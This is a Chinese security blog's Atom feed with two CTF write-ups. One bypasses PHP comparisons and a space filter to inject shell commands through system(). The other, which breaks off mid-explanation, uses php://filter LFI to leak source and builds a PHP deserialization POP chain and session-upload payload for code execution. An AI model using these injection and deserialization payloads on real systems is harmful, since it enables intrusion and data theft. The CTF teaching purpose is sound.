<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://tuulei.cn/</id>
  <title type="text">tuuleiのblog</title>
  <subtitle type="text">网安</subtitle>
  <updated>2026-09-30T00:00:00.000Z</updated>
  <author><name>tuulei</name></author>
  <link rel="alternate" href="https://tuulei.cn/"/>
  <link rel="self" href="https://tuulei.cn/atom.xml"/>
  <generator uri="https://tuulei.cn/">Firefly v6.16.8</generator>
    <entry>
      <id>https://tuulei.cn/posts/wustctf-2020/</id>
      <title type="text">[WUSTCTF 2020]</title>
      <published>2026-09-30T00:00:00.000Z</published>
      <updated>2026-09-30T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/wustctf-2020/"/>
      <summary type="text"></summary>
      <content type="html"><![CDATA[<p><strong>在线靶场</strong>
<a href="https://www.nssctf.cn/problem/1988/" target="_blank">https://www.nssctf.cn/problem/1988/</a></p>
<p></p><figure><img src="/images/uploads/20260930-222600-e07f3c.png" alt="2026-09-30_22-25-17.png" /><figcaption>2026-09-30_22-25-17.png</figcaption></figure>
什么也没有，目录扫描看看
<figure><img src="/images/uploads/20260930-222848-34dfea.png" alt="2026-09-30_22-27-37.png" /><figcaption>2026-09-30_22-27-37.png</figcaption></figure>
发现robots.txt
<figure><img src="/images/uploads/20260930-223034-3f1dff.png" alt="2026-09-30_22-30-20.png" /><figcaption>2026-09-30_22-30-20.png</figcaption></figure>
有个fAke_f1agggg.php，访问看看
<figure><img src="/images/uploads/20260930-223129-406031.png" alt="2026-09-30_22-31-16.png" /><figcaption>2026-09-30_22-31-16.png</figcaption></figure>
什么也没有，线索还能在哪里
<figure><img src="/images/uploads/20260930-223323-75dccd.png" alt="2026-09-30_22-33-12.png" /><figcaption>2026-09-30_22-33-12.png</figcaption></figure>
在/fAke_f1agggg.php的返回包里面看到了/fl4g.php<p></p>
<p>源代码</p>
<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3</span></div></div><div><div><div>2</div></div><div><span>&lt;img src="/img.jpg"&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;?php</span></div></div><div><div><div>4</div></div><div><span>header('Content-type:text/html;charset=utf-8');</span></div></div><div><div><div>5</div></div><div><span>error_reporting(0);</span></div></div><div><div><div>6</div></div><div><span>highlight_file(__file__);</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>//level 1</span></div></div><div><div><div>10</div></div><div><span>if (isset($_GET['num'])){</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>$num = $_GET['num'];</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>if(intval($num) &lt; 2020 &amp;&amp; intval($num + 1) &gt; 2021){</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.&lt;/br&gt;";</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>}else{</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>die("金钱解决不了穷人的本质问题");</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>17</div></div><div><span>}else{</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>die("去非洲吧");</span></div></div><div><div><div>19</div></div><div><span>}</span></div></div><div><div><div>20</div></div><div><span>//level 2</span></div></div><div><div><div>21</div></div><div><span>if (isset($_GET['md5'])){</span></div></div><div><div><div>22</div></div><div><span><span>   </span></span><span>$md5=$_GET['md5'];</span></div></div><div><div><div>23</div></div><div><span><span>   </span></span><span>if ($md5==md5($md5))</span></div></div><div><div><div>24</div></div><div><span><span>       </span></span><span>echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.&lt;/br&gt;";</span></div></div><div><div><div>25</div></div><div><span><span>   </span></span><span>else</span></div></div><div><div><div>26</div></div><div><span><span>       </span></span><span>die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");</span></div></div><div><div><div>27</div></div><div><span>}else{</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>die("去非洲吧");</span></div></div><div><div><div>29</div></div><div><span>}</span></div></div><div><div><div>30</div></div><div>
</div></div><div><div><div>31</div></div><div><span>//get flag</span></div></div><div><div><div>32</div></div><div><span>if (isset($_GET['get_flag'])){</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>$get_flag = $_GET['get_flag'];</span></div></div><div><div><div>34</div></div><div><span><span>    </span></span><span>if(!strstr($get_flag," ")){</span></div></div><div><div><div>35</div></div><div><span><span>        </span></span><span>$get_flag = str_ireplace("cat", "wctf2020", $get_flag);</span></div></div><div><div><div>36</div></div><div><span><span>        </span></span><span>echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.&lt;/br&gt;";</span></div></div><div><div><div>37</div></div><div><span><span>        </span></span><span>system($get_flag);</span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>}else{</span></div></div><div><div><div>39</div></div><div><span><span>        </span></span><span>die("快到非洲了");</span></div></div><div><div><div>40</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>41</div></div><div><span>}else{</span></div></div><div><div><div>42</div></div><div><span><span>    </span></span><span>die("去非洲吧");</span></div></div><div><div><div>43</div></div><div><span>}</span></div></div><div><div><div>44</div></div><div><span>?&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div>
<p>这很简单level1，<code>if(intval($num) &lt; 2020 &amp;&amp; intval($num + 1) &gt; 2021)</code>，令num=1e4，intval($num)就是1，满足小于2020；num+1=1e4+1=10001，满足大于2021</p>
<p>level2，<code> if ($md5==md5($md5))</code>，一个数的MD5等于它的MD5，只要开头都是0e就行，这样他们都是等于0的，0e215962017<code>→ MD5 为</code>0e291242476940776845150308577824</p>
<p>level3，<code> if(!strstr($get_flag," "))</code>，这是不能有空格的意思可以用$IFS$9代替；
<code>$get_flag = str_ireplace("cat", "wctf2020", $get_flag);</code>这个会替换掉cat为wctf2020。
<code>http://node5.anna.nssctf.cn:28498/fl4g.php?num=1e4&amp;md5=0e215962017&amp;get_flag=ls$IFS$9/</code>看看根目录有什么。</p>
<p></p><figure><img src="/images/uploads/20260930-224443-221530.png" alt="2026-09-30_22-44-02.png" /><figcaption>2026-09-30_22-44-02.png</figcaption></figure>
我们在根目录没有发现疑似flag的文件。<p></p>
<p><code>http://node5.anna.nssctf.cn:28498/fl4g.php?num=1e4&amp;md5=0e215962017&amp;get_flag=grep$IFS$9-a$IFS$9-r$IFS$9NSS</code>，全盘搜索NSS
</p><figure><img src="/images/uploads/20260930-224646-5ffb31.png" alt="2026-09-30_22-46-32.png" /><figcaption>2026-09-30_22-46-32.png</figcaption></figure>
找到flag。<p></p>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/hnctf-2022-week4-unf1ni3hed-web3he1-lfi-sessionfan-xu-lie-hu/</id>
      <title type="text">[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争</title>
      <published>2026-09-26T00:00:00.000Z</published>
      <updated>2026-09-26T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/hnctf-2022-week4-unf1ni3hed-web3he1-lfi-sessionfan-xu-lie-hu/"/>
      <summary type="text"></summary>
      <content type="html"><![CDATA[<section><h2>本题在线靶场<a href="#本题在线靶场"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/3098" target="_blank">https://www.nssctf.cn/problem/3098</a></p><blockquote><p>考点：LFI + php://filter 伪协议读源码 + PHP 反序列化 POP 链 + Session 反序列化 + 条件竞争绕过 cleanup
难度：中等偏上（主要是 session 那部分不太好理解）</p></blockquote><hr /></section>
<section><h2>0. 一句话速览<a href="#0-一句话速览"><span>#</span></a></h2><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>include_ LFI 泄源码</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>-&gt; 发现 POP 链 + session.serialize_handler=php</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>-&gt; 用上传进度的可控 key 注入 | 和序列化对象</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>-&gt; 条件竞争绕过 cleanup=On</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>-&gt; session_start() 反序列化触发 __destruct</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>-&gt; eval 执行命令</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>-&gt; 读 /secret/flag</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section>
<section><h2>1. 信息收集<a href="#1-信息收集"><span>#</span></a></h2><p>访问根目录：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GET</span><span> / </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>HTTP</span><span>/</span><span>1.1</span><span> </span><span>200</span><span> </span><span>OK</span></div></div><div><div><div>4</div></div><div><span>Server</span><span>:</span><span> </span><span>Apache/2.4.38 (Debian)</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>webshell 就在这里哦,传个cmd参数试试吧&lt;br&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>页面诱导你传 <code>cmd</code> 参数，但真传了会怎样？</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GET</span><span> /?cmd=1 </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>HTTP</span><span>/</span><span>1.1</span><span> </span><span>302</span><span> </span><span>Found</span></div></div><div><div><div>4</div></div><div><span>Location</span><span>:</span><span> </span><span>https://www.bilibili.com/video/BV1GJ411x7h7?wy_n0t_Catch_me</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>直接把你拐去 B 站（BV1GJ411x7h7），纯钓鱼。所以 <code>cmd</code> 参数是假的。</p><p>目录扫描后，web 根目录下的文件有：</p>

<table><thead><tr><th>文件</th><th>作用</th></tr></thead><tbody><tr><td><code>index.php</code></td><td>钓鱼首页，<code>cmd</code> 参数是幌子</td></tr><tr><td><code>t00llll.php</code></td><td>题目给的”工具”页，<code>include_</code> 参数存在文件包含漏洞</td></tr><tr><td><code>Rea1web3he11.php</code></td><td>真 webshell，里面有反序列化利用链</td></tr><tr><td><code>flag.php</code></td><td>假 flag，内容是 B 站 iframe</td></tr></tbody></table><hr /></section>
<section><h2>2. 第一层：LFI 用伪协议读源码<a href="#2-第一层lfi-用伪协议读源码"><span>#</span></a></h2><section><h3>2.1 工具页源码<a href="#21-工具页源码"><span>#</span></a></h3><p>访问 <code>t00llll.php</code> 不带参数，它会 <code>show_source(__FILE__)</code> 把自己贴出来：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>error_reporting</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>if</span><span><span> (</span><span>!</span></span><span>isset</span><span>(</span><span>$_GET</span><span>[</span><span>'include_'</span><span>])) {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>echo</span><span> </span><span>"使用工具的时候,要轻一点哦~"</span><span>;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>show_source</span><span>(</span><span>__FILE__</span><span>);</span></div></div><div><div><div>7</div></div><div><span>}</span><span>else</span><span>{</span></div></div><div><div><div>8</div></div><div><span>    </span><span>$include_</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'include_'</span><span>];</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div><div><div><div>10</div></div><div><span>if</span><span> (</span><span>preg_match</span><span>(</span><span>'/sess|tmp/i'</span><span><span>,</span><span> </span></span><span>$include_</span><span>)) {</span></div></div><div><div><div>11</div></div><div><span>    </span><span>die</span><span>(</span><span>"可恶涅,同样的方法怎么可能骗到本小姐两次!"</span><span>);</span></div></div><div><div><div>12</div></div><div><span>}</span><span>else</span><span> </span><span>if</span><span> (</span><span>preg_match</span><span>(</span><span><span>'/sess|tmp|index|</span><span>\~</span><span>|</span><span>\@</span><span>|flag|g|</span><span>\%</span><span>|</span><span>\^</span><span>|</span><span>\&amp;</span><span>|data|log/i'</span></span><span><span>,</span><span> </span></span><span>$include_</span><span>)) {</span></div></div><div><div><div>13</div></div><div><span>    </span><span>die</span><span>(</span><span>"呜呜呜,不可以包含这些奇奇怪怪的东西欸!!"</span><span>);</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div><div><div><div>15</div></div><div><span>else</span><span><span> </span><span>@</span></span><span>include</span><span>(</span><span>$include_</span><span>);</span></div></div><div><div><div>16</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><code>$_GET['include_']</code> 被直接送进 <code>include()</code>，这就是最经典的本地文件包含（LFI）。</p></section><section><h3>2.2 为什么必须用 php://filter<a href="#22-为什么必须用-phpfilter"><span>#</span></a></h3><p>如果直接：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>?include_=Rea1web3he11.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>PHP 会把这个 <code>.php</code> 当代码<strong>执行</strong>，源码根本不会打印出来。所以要套一层 PHP 内置的过滤流：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>拆开看：</p><ul>
<li><code>php://filter</code> —— 过滤流包装器，可以给目标文件套”滤镜”</li>
<li><code>read=convert.base64-encode</code> —— 读的时候先做一次 Base64 编码</li>
<li><code>resource=...</code> —— 真正要读的文件</li>
</ul><p>加 Base64 之后，include 拿到的内容是一串 Base64 文本，不以 <code>&lt;?php</code> 开头、不是合法 PHP 代码，PHP 就不执行它，只原样输出，源码就漏出来了。</p></section><section><h3>2.3 过滤规则分析<a href="#23-过滤规则分析"><span>#</span></a></h3><p>被拦的关键字：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sess  tmp  index  ~  @  flag  g  %  ^  &amp;  data  log</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>它们分别堵死了：</p><ul>
<li><code>sess</code> / <code>tmp</code> —— 不能包含 <code>/tmp/sess_xxx</code>（session 文件）</li>
<li><code>index</code> —— 不能包含 <code>index.php</code></li>
<li><code>flag</code> / <code>g</code> —— 不能直接读 flag 文件（<code>g</code> 同时堵住 <code>log</code>、<code>png</code>、<code>jpg</code>、<code>Big5</code> 等）</li>
<li><code>data</code> —— 不能用 <code>data://</code> 伪协议</li>
<li><code>log</code> —— 不能用日志包含（access.log 等）</li>
<li><code>~ @ % ^ &amp;</code> —— 各种常见的绕过字符</li>
</ul><p>也就是说：<strong>只能老老实实读源码，不能直接包含 session 文件，也不能日志投毒</strong>。</p></section><section><h3>2.4 解码拿源码<a href="#24-解码拿源码"><span>#</span></a></h3><p>访问：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>得到一大串 Base64，本地解码（PowerShell）：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>$b</span><span><span> </span><span>=</span><span> (</span></span><span>Invoke-WebRequest</span><span> </span><span>"http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php"</span><span>).Content</span></div></div><div><div><div>2</div></div><div><span>[</span><span>Text.Encoding</span><span>]::UTF8.GetString([</span><span>Convert</span><span>]::FromBase64String(</span><span>$b</span><span>))</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>得到真 webshell 源码：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>error_reporting</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>3</div></div><div><span>ini_set</span><span>(</span><span>'session.serialize_handler'</span><span><span>,</span><span> </span></span><span>'php'</span><span>);</span></div></div><div><div><div>4</div></div><div><span>session_start</span><span>();</span></div></div><div><div><div>5</div></div><div><span>echo</span><span> </span><span>"y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"</span><span>.</span><span>"&lt;br&gt;"</span><span>;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>class</span><span> </span><span>webshell</span><span>{</span></div></div><div><div><div>8</div></div><div><span>    </span><span>public</span><span> </span><span>$caution</span><span>;</span></div></div><div><div><div>9</div></div><div><span>    </span><span>public</span><span> </span><span>$execution</span><span>;</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>    </span><span>function</span><span> </span><span>__construct</span><span>(){</span></div></div><div><div><div>12</div></div><div><span>        </span><span>$this</span><span> -&gt; </span><span>caution</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>caution</span><span>();</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>    </span><span>function</span><span> </span><span>__destruct</span><span>(){</span></div></div><div><div><div>15</div></div><div><span>        </span><span>$this</span><span> -&gt; </span><span>caution</span><span> -&gt; </span><span>world_execute</span><span>();   </span><span>// 反序列化利用点</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>17</div></div><div><span>    </span><span>function</span><span> </span><span>exec</span><span>(){</span></div></div><div><div><div>18</div></div><div><span><span>        </span></span><span>@</span><span>eval</span><span>(</span><span>$execution</span><span>);</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>20</div></div><div><span>}</span></div></div><div><div><div>21</div></div><div><span>class</span><span> </span><span>caution</span><span>{</span></div></div><div><div><div>22</div></div><div><span>    </span><span>function</span><span> </span><span>world_execute</span><span>(){</span></div></div><div><div><div>23</div></div><div><span>        </span><span>echo</span><span> </span><span>"Webshell...ERROR..."</span><span>.</span><span>"&lt;br&gt;"</span><span>;</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>25</div></div><div><span>}</span></div></div><div><div><div>26</div></div><div><span>class</span><span> </span><span>execution</span><span>{</span></div></div><div><div><div>27</div></div><div><span>    </span><span>public</span><span> </span><span>$cmd</span><span>;</span></div></div><div><div><div>28</div></div><div><span>    </span><span>function</span><span> </span><span>__construct</span><span>(){</span></div></div><div><div><div>29</div></div><div><span>        </span><span>$this</span><span> -&gt; </span><span>cmd</span><span><span> </span><span>=</span><span> </span></span><span>'echo "即将执行命令:".$cmd;'</span><span>;</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>31</div></div><div><span>    </span><span>function</span><span> </span><span>world_execute</span><span>(){</span></div></div><div><div><div>32</div></div><div><span>        </span><span>eval</span><span>(</span><span>$this</span><span><span> </span><span>-&gt;</span><span> </span></span><span>cmd</span><span>);                    </span><span>// 任意代码执行</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>34</div></div><div><span>}</span></div></div><div><div><div>35</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>单独访问 <code>Rea1web3he11.php</code>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!&lt;br&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>“你可能需要一些工具才能用它” —— 它自己没入口，需要靠 session 反序列化把它”喂”起来。</p><hr /></section></section>
<section><h2>3. 源码分析：POP 链怎么拼<a href="#3-源码分析pop-链怎么拼"><span>#</span></a></h2><p>先完全忽略 session，只看对象。</p><section><h3>3.1 类的结构<a href="#31-类的结构"><span>#</span></a></h3><p><strong><code>execution</code> 类</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>class</span><span> </span><span>execution</span><span>{</span></div></div><div><div><div>2</div></div><div><span>    </span><span>public</span><span> </span><span>$cmd</span><span>;</span></div></div><div><div><div>3</div></div><div><span>    </span><span>function</span><span> </span><span>world_execute</span><span>(){</span></div></div><div><div><div>4</div></div><div><span>        </span><span>eval</span><span>(</span><span>$this</span><span><span> </span><span>-&gt;</span><span> </span></span><span>cmd</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>只要我们能造出 <code>execution</code> 对象，并把它的 <code>$cmd</code> 设成任意字符串，就等于任意代码执行。</p><p><strong><code>webshell</code> 类</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>class</span><span> </span><span>webshell</span><span>{</span></div></div><div><div><div>2</div></div><div><span>    </span><span>public</span><span> </span><span>$caution</span><span>;</span></div></div><div><div><div>3</div></div><div><span>    </span><span>function</span><span> </span><span>__destruct</span><span>(){</span></div></div><div><div><div>4</div></div><div><span>        </span><span>$this</span><span> -&gt; </span><span>caution</span><span> -&gt; </span><span>world_execute</span><span>();</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>__destruct()</code> 是对象被销毁时自动调用的魔术方法。它内部调用 <code>$this-&gt;caution</code> 的 <code>world_execute()</code>。</p><p><code>$this-&gt;caution</code> 是什么类型，完全由我们（反序列化数据）决定。</p></section><section><h3>3.2 利用链<a href="#32-利用链"><span>#</span></a></h3><p>把 <code>webshell</code> 的 <code>caution</code> 属性换成一个 <code>execution</code> 对象：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>webshell::__destruct()</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>-&gt; $this-&gt;caution(=execution 对象)-&gt;world_execute()</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>-&gt; eval($this-&gt;cmd)</span></div></div><div><div><div>4</div></div><div><span><span>   </span></span><span>-&gt; 任意命令执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>webshell</code> 里的 <code>$execution</code> 属性和 <code>exec()</code> 方法是烟雾弹，不用管。</p></section><section><h3>3.3 构造序列化 payload<a href="#33-构造序列化-payload"><span>#</span></a></h3><p>PHP 序列化格式速记：</p><ul>
<li><code>O:8:"webshell":2:{...}</code> —— 对象，类名 8 字节，<strong>2 个属性</strong></li>
<li><code>s:7:"caution";...</code> —— 字符串，名字 7 字节</li>
<li><code>N;</code> —— null</li>
</ul><p>最终 payload：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>小白最容易踩的坑：长度必须精确。</strong> 属性个数、类名长度、字符串字节数，错一个字节 <code>unserialize()</code> 就直接失败（而且 <code>error_reporting(0)</code>，你连报错都看不到）。</p><p>最稳的办法：用本地 PHP 生成（本地是 PHP 7.3，和靶机一致）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>webshell</span><span>{ </span><span>public</span><span> </span><span>$caution</span><span>; </span><span>public</span><span> </span><span>$execution</span><span>; }</span></div></div><div><div><div>3</div></div><div><span>class</span><span> </span><span>execution</span><span>{ </span><span>public</span><span> </span><span>$cmd</span><span>; }</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>$b</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>execution</span><span>();</span></div></div><div><div><div>6</div></div><div><span>$b</span><span> -&gt; </span><span>cmd</span><span><span> </span><span>=</span><span> </span></span><span>'system("cat /secret/flag");'</span><span>;</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>$a</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>webshell</span><span>();</span></div></div><div><div><div>9</div></div><div><span>$a</span><span> -&gt; </span><span>caution</span><span><span> </span><span>=</span><span> </span></span><span>$b</span><span>;</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>echo</span><span> </span><span>'|'</span><span>.</span><span>serialize</span><span>(</span><span>$a</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="/images/uploads/20260926-202016-897578.png" alt="2026-09-26_20-19-25.png" /><figcaption>2026-09-26_20-19-25.png</figcaption></figure><p></p><hr /></section></section>
<section><h2>4. 重点科普：session 到底是什么<a href="#4-重点科普session-到底是什么"><span>#</span></a></h2><p>这一部分是整道题的核心，慢慢讲。</p><section><h3>4.1 session 的生命周期<a href="#41-session-的生命周期"><span>#</span></a></h3><p>HTTP 是无状态的，服务器记不住”你”是谁。session 就是服务器给你发的一张”会员卡”：</p><ol>
<li>第一次请求，PHP 调 <code>session_start()</code>，生成一个随机 ID（<code>PHPSESSID=abc123</code>），通过 <code>Set-Cookie</code> 发给浏览器；</li>
<li>服务器在磁盘上建一个文件，Debian 下通常是 <code>/var/lib/php/sessions/sess_abc123</code>；</li>
<li>之后每次请求浏览器都带上这个 Cookie，PHP 用 ID 找到对应文件；</li>
<li><strong><code>session_start()</code> 做的事就是：读出文件内容 -&gt; 反序列化 -&gt; 还原成 <code>$_SESSION</code> 数组</strong>；</li>
<li>脚本结束（或 <code>session_write_close()</code>）时，把 <code>$_SESSION</code> 数组序列化后写回文件。</li>
</ol><p>关键就在第 4 步：<strong>读 session 文件的过程，本质上就是一次 <code>unserialize()</code>。</strong></p><p>如果 session 文件里被塞进了恶意序列化字符串，<code>session_start()</code> 一执行，就会在我们自己的服务器上”还原”出攻击者构造好的对象 —— 这就是 <strong>session 反序列化</strong>。</p></section><section><h3>4.2 两种序列化引擎：php 与 php_serialize<a href="#42-两种序列化引擎php-与-php_serialize"><span>#</span></a></h3><p>PHP 把 <code>$_SESSION</code> 存进文件有两种格式，由 <code>session.serialize_handler</code> 决定。</p><p><strong>格式一：<code>php</code>（本题 <code>Rea1web3he11.php</code> 强制使用）</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>键名|序列化后的值</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>例如：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>username|s:5:"admin";role|s:5:"guest";</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>读的时候逻辑是：<strong>先找第一个 <code>|</code>，左边当键名，右边交给 <code>unserialize()</code></strong>。</p><p><strong>格式二：<code>php_serialize</code>（PHP 5.5.4+ 的默认值）</strong></p><p>整个 <code>$_SESSION</code> 数组当整体序列化：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>a:1:{s:8:"username";s:5:"admin";}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>两者的核心差别，就是那个 <code>|</code>。</strong>
<code>php</code> 格式靠字符串里的 <code>|</code> 当分隔符，而分隔符不是结构层面记录的字节 —— 这就给了我们”伪造分隔符”的空间。</p></section><section><h3>4.3 反序列化触发点不需要额外 include<a href="#43-反序列化触发点不需要额外-include"><span>#</span></a></h3><p>注意 <code>Rea1web3he11.php</code> 自己就调了：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ini_set</span><span>(</span><span>'session.serialize_handler'</span><span><span>,</span><span> </span></span><span>'php'</span><span>);</span></div></div><div><div><div>2</div></div><div><span>session_start</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>也就是说，<strong>访问这个页面本身就会读 session 文件并反序列化</strong>，完全不需要用 LFI 去 include 任何东西。</p><p>（顺便解释为什么不用 <code>include /tmp/sess_xxx</code>：一是 <code>t00llll.php</code> 明确封了 <code>sess</code> 和 <code>tmp</code>，二是根本没必要。）</p></section><section><h3>4.4 对象什么时候执行代码<a href="#44-对象什么时候执行代码"><span>#</span></a></h3><p><code>unserialize()</code> 还原对象时，PHP <strong>不会调用 <code>__construct()</code></strong>（构造参数信息在序列化时已经丢了），但对象在脚本结束被销毁时，会自动调用 <strong><code>__destruct()</code></strong>。</p><p>所以执行顺序是：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>session_start()  -&gt;  unserialize 出 webshell 对象</span></div></div><div><div><div>2</div></div><div><span>脚本输出 "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"</span></div></div><div><div><div>3</div></div><div><span>脚本结束          -&gt;  webshell::__destruct()</span></div></div><div><div><div>4</div></div><div><span><span>                  </span></span><span>-&gt;  $this-&gt;caution-&gt;world_execute()  (caution 是 execution 